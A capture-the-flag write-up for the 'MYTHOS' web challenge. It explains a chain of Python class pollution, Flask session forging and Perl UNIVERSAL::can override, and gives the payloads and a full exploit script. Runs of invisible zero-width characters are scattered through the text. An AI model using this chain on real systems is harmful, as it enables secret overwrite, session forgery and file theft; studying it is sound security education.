← Back to Writeups
CUSTOMMediumWeb

MYTHOS

XESXOR9/10/20267 min read
#web#custom#medium#python_class_pollution_via_rec#flask_secret_key_overwrite#flask_session_cookie_forging#perl_glob_assignment_namespace#universal_can_override#item_delegate_arbitrary_file_r

MYTHOS

Platform: GoogleCTF2025 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-09 | Status: Solved Techniques: python_class_pollution_via_recursive_setattr, flask_secret_key_overwrite, flask_session_cookie_forging, perl_glob_assignment_namespace_injection, universal_can_override, item_delegate_arbitrary_file_read

Summary

Task: Python Flask + Perl Dancer2 text-adventure game with recursive deep merge (class pollution), session forging, and Perl namespace injection. Solution: Overwrite Flask SECRET_KEY via class.init.globals traversal, forge session with crafted items payload, inject UNIVERSAL::can override to trigger arbitrary file read of flag.txt.

MYTHOS — GoogleCTF 2025

Description

Legends tell of a far away kingdom in a far away land, of a far away guardian and a far away princess. Explore the myth at your leisure.

A text-adventure game with a dual-language architecture: a Python Flask frontend (port 1337) serves HTML and manages sessions, while a Perl Dancer2 backend (port 1338, internal only) handles game logic, inventory, and holds the flag at ./flag.txt. The player explores a castle, collects 4 items (mermaid_scale, angels_scarf, mew_plaque, mimic_gem), and reaches the throne room (event 20) where the Perl backend deserializes the inventory to check completion. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The challenge requires a 3-stage exploit chain crossing both language runtimes: Python class pollution → Flask session forging → Perl namespace injection for arbitrary file read.

Analysis

Architecture Overview

Python Frontend (app.py):

  • Flask app with a random SECRET_KEY generated at startup
  • session["items"] stores collected items as JSON-encoded bytes
  • /play POST sends b64encode(session["items"]) to the Perl backend
  • /score POST calls copy(request.json, score) — a recursive deep merge ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Perl Backend (Mythos.pm):

  • Dancer2 app with JSON serializer
  • At event 20, deserializes the base64-decoded items JSON via copyItems()
  • copyItems() has a dangerous branch that calls setAttribute() with no strict 'refs' and glob assignment
  • $game_artifacts contains a CODE ref item_delegate that reads files via read_file()
  • Inventory::hasAllItems() checks for all 4 required items

Vulnerability 1: Python Class Pollution via copy()

The copy() function in util.py is a recursive deep merge using setattr: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
def copy(src, dst):
    for k, v in src.items():
        if hasattr(dst, "__getitem__"):
            if dst.get(k) and type(v) == dict:
                copy(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            copy(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

When dst is a ScoreSubmission object (no __getitem__), the second branch triggers: if dst has attribute k and v is a dict, it recurses into getattr(dst, k). This allows traversal through Python's object model: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • ScoreSubmission has __class__ → recurse into the class object
  • Class has __init__ → recurse into the constructor function
  • Function has __globals__ → recurse into the module's global namespace (a dict)
  • Module globals contain app (Flask instance) → app.config is a dict subclass
  • config["SECRET_KEY"] can be overwritten

The key insight: when recursion reaches __globals__ (a dict), it has __getitem__, so the first branch takes over and uses dst[k] = v for direct dict assignment — allowing us to write into the Flask app's config. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 2: Perl Namespace Injection via setAttribute()

In Mythos.pm, the setAttribute() function uses glob assignment with no strict 'refs':

perl
sub setAttribute {
    my $dst = shift;
    my $key_name = shift;
    my $value_ref = shift;
    no strict 'refs';
    *{"$dst"."::$key_name"} = $value_ref;
    use strict 'refs';
    return 1;
}

The copyItems() function calls setAttribute() when processing a key not present in the Inventory object whose value is a HASH ref (Case 2b): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

perl
} elsif (!defined $dst->{$key}) {
    if (ref $src->{$key} ne 'HASH') {
        $dst->{$key} = $src->{$key};
    } else {
        foreach my $inner_key (keys %{$src->{$key}}) {
            my $index = $src->{$key}->{$inner_key};
            setAttribute($key, $inner_key, $game_artifacts->{$index});
        }
    }
}

When items contain "UNIVERSAL": {"can": "item_delegate"}:

  1. Key "UNIVERSAL" is not defined in the Inventory object → Case 2b
  2. Value is a HASH → iterate inner keys
  3. setAttribute("UNIVERSAL", "can", $game_artifacts->{"item_delegate"}) is called
  4. $game_artifacts->{"item_delegate"} is a CODE ref (subroutine)
  5. *{"UNIVERSAL::can"} = CODE_REF — overrides Perl's built-in UNIVERSAL::can method! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 3: item_delegate Reads Arbitrary Files

The item_delegate subroutine reads files based on desc_filename:

perl
item_delegate => sub {
    my $obj = shift;
    if (defined $obj->{desc_filename}) {
        $obj->{desc} = read_file($obj->{desc_filename});
        return { name=>$obj->{name}, desc=>$obj->{desc} };
    }
    return $obj;
},

The Trigger: Event 20 Logic

At event 20, the Perl backend runs:

perl
if ($game->{inventory}->can("hasAllItems")) {
    if ($game->{inventory}->hasAllItems($game_artifacts) == 1) {
        $next_ev = $all_events->{21};  # good ending
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After our UNIVERSAL::can override:

  1. $game->{inventory}->can("hasAllItems") calls item_delegate($inventory, "hasAllItems")
  2. $obj = $inventory (the Inventory blessed hashref)
  3. $inventory->{desc_filename} is "./flag.txt" (from our payload)
  4. read_file("./flag.txt") reads the flag into $inventory->{desc}
  5. Returns a truthy hash ref → the if condition passes
  6. $inventory->hasAllItems($game_artifacts) is called via normal Perl method dispatch (MRO, NOT can()), finds Inventory::hasAllItems, verifies all 4 items exist → returns 1 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response includes ALL inventory keys (lines 158-162), including desc which now contains the flag.

Critical insight: Perl method dispatch (->method()) does NOT use UNIVERSAL::can — it uses the MRO directly. So overriding can doesn't break ->hasAllItems(). The JSON serializer also doesn't call can() on unblessed hash refs, so the response serialization works normally.

Solution

Stage 1: Navigate to Event 19

Play through the game to reach the Guardians (event 19), one step before the throne room trigger: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Event 0 → choice 0 → Event 9 (Ballroom)
Event 9 → choice 0 → Event 18 (Throne Room)
Event 18 → choice 0 → Event 19 (Guardians)

Stage 2: Python Class Pollution to Overwrite SECRET_KEY

Send a crafted JSON to /score that traverses __class__.__init__.__globals__ to reach the Flask app's config:

json
{
  "__class__": {
    "__init__": {
      "__globals__": {
        "app": {
          "config": {
            "SECRET_KEY": "HACKED_SECRET_KEY_12345"
          }
        }
      }
    }
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 3: Forge Flask Session with Crafted Items

With the known SECRET_KEY, decode the current session cookie, replace session["items"] with bytes containing our Perl exploit payload, and re-sign:

json
{
  "desc_filename": "./flag.txt",
  "name": "flag",
  "mermaid_scale": 1,
  "angels_scarf": 1,
  "mew_plaque": 1,
  "mimic_gem": 1,
  "UNIVERSAL": {"can": "item_delegate"}
}

The items must be Python bytes (not str) because /play calls b64encode(session["items"]). Flask's TaggedJSONSerializer preserves bytes via {" b": base64_string} encoding. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 4: Trigger Event 20 and Extract Flag

POST /play with choice=0 using the forged session. The Perl backend deserializes our crafted items, overrides UNIVERSAL::can, reads flag.txt, and includes the flag in the response. Decode the response session cookie to extract session["game"]["items"]["desc"].

Full Exploit Script

python
#!/usr/bin/env python3
"""
MYTHOS - GoogleCTF 2025 Exploit
3-stage: Python class pollution -> Flask session forging -> Perl namespace injection
"""

import requests
import json
import sys
import re
from base64 import b64encode
from urllib.parse import urlparse
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:1337"
KNOWN_SECRET = "HACKED_SECRET_KEY_12345"

def get_session_serializer(secret_key):
    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    from itsdangerous import URLSafeTimedSerializer
    from flask.json.tag import TaggedJSONSerializer
    
    si = SecureCookieSessionInterface()
    return URLSafeTimedSerializer(
        secret_key,
        salt=si.salt,
        serializer=TaggedJSONSerializer(),
        signer_kwargs=dict(
            key_derivation=si.key_derivation,
            digest_method=si.digest_method,
        ),
    )
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def decode_session(cookie_value, secret_key):
    serializer = get_session_serializer(secret_key)
    return serializer.loads(cookie_value)

def encode_session(session_data, secret_key):
    serializer = get_session_serializer(secret_key)
    return serializer.dumps(session_data)

def find_flags(text):
    return re.findall(r'CTF\{[^}]+\}', text)

s = requests.Session()

# Step 1: Init game
r = s.get(f"{TARGET}/")

# Step 2: Navigate to event 19 (Guardians)
for choice, desc in [("0", "0->9"), ("0", "9->18"), ("0", "18->19")]:
    r = s.post(f"{TARGET}/play", json={"choice": choice})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Class pollution to overwrite SECRET_KEY
pollution = {
    "__class__": {
        "__init__": {
            "__globals__": {
                "app": {
                    "config": {
                        "SECRET_KEY": KNOWN_SECRET
                    }
                }
            }
        }
    }
}
r = s.post(f"{TARGET}/score", json=pollution)

# Step 4: Get cookie signed with new key and decode it
r = s.get(f"{TARGET}/play")
session_cookie = s.cookies.get("session")
session_data = decode_session(session_cookie, KNOWN_SECRET)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 5: Forge session with crafted Perl exploit payload
perl_payload = {
    "desc_filename": "./flag.txt",
    "name": "flag",
    "mermaid_scale": 1,
    "angels_scarf": 1,
    "mew_plaque": 1,
    "mimic_gem": 1,
    "UNIVERSAL": {"can": "item_delegate"}
}

# Must be bytes for b64encode() in /play handler
session_data["items"] = json.dumps(perl_payload).encode()
forged_cookie = encode_session(session_data, KNOWN_SECRET)

# Set forged cookie
s.cookies.clear()
parsed = urlparse(TARGET)
s.cookies.set("session", forged_cookie, domain=parsed.hostname, path="/")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 6: Trigger event 20
r = s.post(f"{TARGET}/play", json={"choice": "0"})

# Step 7: Extract flag from session
session_cookie = s.cookies.get("session")
session_data = decode_session(session_cookie, KNOWN_SECRET)
items = session_data.get("game", {}).get("items", {})
flags = find_flags(json.dumps(items, default=str))
for f in flags:
    print(f"FLAG: {f}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍